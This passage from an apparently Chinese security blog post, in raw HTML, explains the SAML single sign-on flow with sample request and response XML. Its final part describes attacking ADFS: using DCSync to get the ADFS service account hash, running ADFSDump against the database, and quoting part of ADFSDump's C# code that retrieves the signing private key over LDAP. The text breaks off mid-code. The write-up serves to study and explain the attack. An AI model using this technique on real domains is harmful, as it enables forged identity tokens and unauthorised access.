0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n90" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">你去访问sp的某个受保护资源，比如浏览器打开： </span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="http://www.apc.com/resource1.aspx" target="_blank">http://www.apc.com/resource1.aspx</a></span><span md-inline="plain" style="box-sizing: border-box;">.</span></p></li><li style="box-sizing: border-box;"><p cid="n92" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">sp发现你是新来的，没有认证信息。当然不能给你这个页面内容了。 他就会生成一个 saml的认证请求数据包（当然是saml格式的）。把这个请求放在一个html的form的一个隐藏的域中，把这个html form返回给你。 这个form后面有一句javascript自动提交这个form。 二而form的action地址就是 提前配置好的 idp上的一个地址。 </span></p><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">saml认证请求的数据包可能是这个样子的：</span></p></li></ol><pre spellcheck="false" lang="xml" cid="n94" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:AuthnRequest</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">xmlns:samlp</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:oasis:names:tc:SAML:2.0:protocol&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">xmlns:saml</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:oasis:names:tc:SAML:2.0:assertion&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">ID</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;aaf23196-1773-2113-474a-fe114412ab72&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">Version</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2.0&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">IssueInstant</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2004-12-05T09:21:59&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">AssertionConsumerServiceIndex</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;0&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">AttributeConsumingServiceIndex</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;0&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Issuer</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span><a href="https://sp.example.com/SAML2" target="_blank">https://sp.example.com/SAML2</a><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Issuer</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:NameIDPolicy</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(0, 0, 204);">AllowCreate</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;true&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(0, 0, 204);">Format</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:oasis:names:tc:SAML:2.0:nameid-format:transient&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">/&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:AuthnRequest</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span></pre><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">而返回的html from内容大概设这个样子的：它包含了上面的数据包作为其中一个hidden的值</span></p><pre spellcheck="false" lang="html" cid="n96" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">form</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">method</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;post&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">action</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;<a href="https://idp.example.org/SAML2/SSO/POST" target="_blank">https://idp.example.org/SAML2/SSO/POST</a>&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">...</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">input</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">type</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;hidden&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">name</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;SAMLRequest&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">value</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&lt;samlp:AuthnRequest&gt;.......... &lt;/samlp:authnreques&gt;&#34;</span> <span style="box-sizing: border-box;color: rgb(17, 119, 0);">/&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    ... other input parameter....</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">input</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">type</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;submit&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">value</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Submit&#34;</span> <span style="box-sizing: border-box;color: rgb(17, 119, 0);">/&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">form</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">javascript</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">document.form[0].submit();// 后面紧跟一句类似这样的提交代码.</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">javascript</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span></pre><ol class="list-paddingleft-1" start="3" cid="n97" mdtype="list" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n99" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">上面的form会被javascript自动提交到idp的某个地址。</span></p></li><li style="box-sizing: border-box;"><p cid="n101" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">idp也需要认证你， 于是返回给你一个认证的页面， 可能使用用户名密码认证，也可以使用ntlm认证等等一切可以认证你的方式。 因为idp保存有你的用户名和密码。</span></p></li><li style="box-sizing: border-box;"><p cid="n103" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">idp在认证你之后。觉得你合法， 于是就为你生成一些断言， 证明你是谁，你有什么权限等等。 并用自己的私钥签名。 然后包装成一个response格式，放在form里返回给你。</span></p></li></ol><pre spellcheck="false" lang="xml" cid="n104" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:Response</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">xmlns:samlp</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:oasis:names:tc:SAML:2.0:protocol&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">xmlns:saml</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:oasis:names:tc:SAML:2.0:assertion&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">ID</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;identifier_2&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">InResponseTo</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;identifier_1&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">Version</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2.0&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">IssueInstant</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2004-12-05T09:22:05&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 204);">Destination</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;<a href="https://sp.example.com/SAML2/SSO/POST" target="_blank">https://sp.example.com/SAML2/SSO/POST</a>&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Issuer</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span><a href="https://idp.example.org/SAML2" target="_blank">https://idp.example.org/SAML2</a><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Issuer</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:Status</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:StatusCode</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 204);">Value</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:oasis:names:tc:SAML:2.0:status:Success&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">/&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:Status</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Assertion</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(0, 0, 204);">xmlns:saml</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:oasis:names:tc:SAML:2.0:assertion&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(0, 0, 204);">ID</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;identifier_3&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(0, 0, 204);">Version</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2.0&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(0, 0, 204);">IssueInstant</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2004-12-05T09:22:05&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Issuer</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span><a href="https://idp.example.org/SAML2" target="_blank">https://idp.example.org/SAML2</a><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Issuer</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(170, 85, 0);">&lt;!-- a POSTed assertion MUST be signed --&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">     ....................</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">saml:Assertion</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">samlp:Response</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span></pre><p cid="n105" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">正如上面第2步一样，它也会把response包装在一个form里面返回给你，并自动提交给 sp的某个地址</span></p><pre spellcheck="false" lang="" cid="n106" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">form method=&#34;post&#34; action=&#34;<a href="https://sp.example.com/SAML2/SSO/POST" target="_blank">https://sp.example.com/SAML2/SSO/POST</a>&#34; ...&gt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    &lt;input type=&#34;hidden&#34; name=&#34;SAMLResponse&#34; value=&#34;&lt;samlp:Response&gt;.........&lt;/samlp:respons&gt;&#34; /&gt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    &lt;input type=&#34;hidden&#34; name=&#34;RelayState&#34; value=&#34;&#39;&#39;token&#39;&#39;&#34; /&gt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    ...</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    &lt;input type=&#34;submit&#34; value=&#34;Submit&#34; /&gt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  &lt;/form&gt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;javascript&gt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">document.form[0].submit();// 后面紧跟一句类似这样的提交代码.</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;/javascript&gt;</span></pre><ol class="list-paddingleft-1" start="7" cid="n107" mdtype="list" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n109" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">于是就到了第7步， 这个form被javascript自动提交到sp了。</span></p></li><li style="box-sizing: border-box;"><p cid="n111" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">sp读到form提交上来的 断言。 并通过idp的公钥验证了断言的签名。 于是信任了断言。 知道你是idp的合法用户了。 所以就最终给你返回了你最初请求的页面了。 </span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="http://www.apc.com/resource1.aspx" target="_blank">http://www.apc.com/resource1.aspx</a></span><span md-inline="plain" style="box-sizing: border-box;">.</span></p></li></ol><p cid="n112" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">接下来明确一点，ADFS的身份信息数据不保存在ldap数据库中，而是WID（windows内置数据库）或远程 MS SQL 数据库中。所以我们需要ADFS服务账户的权限去进行访问</span></p><p cid="n113" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">一般而言是拿到域控后Dsync获取ADFS账号hash，然后使用ADFS账户权限调用ADFSDUMP脱取数据库</span></p><p cid="n114" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">从ADFSDUmp的源码我们可以看到，通过thumbnailphoto属性获取私钥</span></p><pre spellcheck="false" lang="c++" cid="n115" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">static</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">GetPrivKey</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Dictionary</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">domain</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">server</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">searchString</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">!</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ContainsKey</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;/domain&#34;</span>))</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//no domain or server given, try to find it ourselves</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">domain</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">System</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">DirectoryServices</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ActiveDirectory</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Domain</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetCurrentDomain</span>().<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Name</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">searchString</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;LDAP://&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(119, 0, 136);">else</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ContainsKey</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;/domain&#34;</span>))</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">domain</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;/domain&#34;</span>];</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ContainsKey</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;/server&#34;</span>))</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">server</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;/server&#34;</span>];</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">searchString</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Format</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;LDAP://{0}/&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">server</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                } <span style="box-sizing: border-box;color: rgb(119, 0, 136);">else</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: 